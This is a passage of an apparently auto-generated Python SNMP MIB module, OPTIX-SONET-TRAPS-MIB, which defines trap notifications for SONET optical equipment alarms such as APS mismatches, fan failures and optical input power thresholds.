("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtClientMismatch.setStatus('current') evtLaserModuleMismatch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 606)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLaserModuleMismatch.setStatus('current') evtLptRfi = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 12300)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLptRfi.setStatus('current') evtEqptNoServiceAffecting = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32768)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtEqptNoServiceAffecting.setStatus('current') evtEqptServiceAffectingFail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32769)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtEqptServiceAffectingFail.setStatus('current') evtApsByteFailure = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32774)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtApsByteFailure.setStatus('current') evtFarEndProtectionLineFailure = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32776)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtFarEndProtectionLineFailure.setStatus('current') evtApsChannelMismatchFailure = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32777)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtApsChannelMismatchFailure.setStatus('current') evtApsModeMismatch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32778)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtApsModeMismatch.setStatus('current') evtApsTypeMismatch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32779)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtApsTypeMismatch.setStatus('current') evtHoldoverSync = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32791)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtHoldoverSync.setStatus('current') evtFreeRunSync = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32792)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtFreeRunSync.setStatus('current') evtFastStartSync = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32794)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtFastStartSync.setStatus('current') evtManualSetSSM = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32798)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtManualSetSSM.setStatus('current') evtFanOffline = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32802)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtFanOffline.setStatus('current') evtSingleFanFail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32803)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSingleFanFail.setStatus('current') evtMultiFanFail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32804)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtMultiFanFail.setStatus('current') evtEquipmentTypeMismatch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32807)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtEquipmentTypeMismatch.setStatus('current') evtEquipmentOfflineOrUninstalled = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32808)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtEquipmentOfflineOrUninstalled.setStatus('current') evtTransmitterFailure = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32814)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtTransmitterFailure.setStatus('current') evtSignalFailureSection = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32815)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSignalFailureSection.setStatus('current') evtInputPowerHigh = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32816)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtInputPowerHigh.setStatus('current') evtInputPowerLow = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32817)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtInputPowerLow.setStatus('current') evtSignalFailureLine = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32818)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSignalFailureLine.setStatus('current') evtSignalDegradeLine = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32819)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSignalDegradeLine.setStatus('current') evtLaserApprochingEndOfLife = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32820)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), 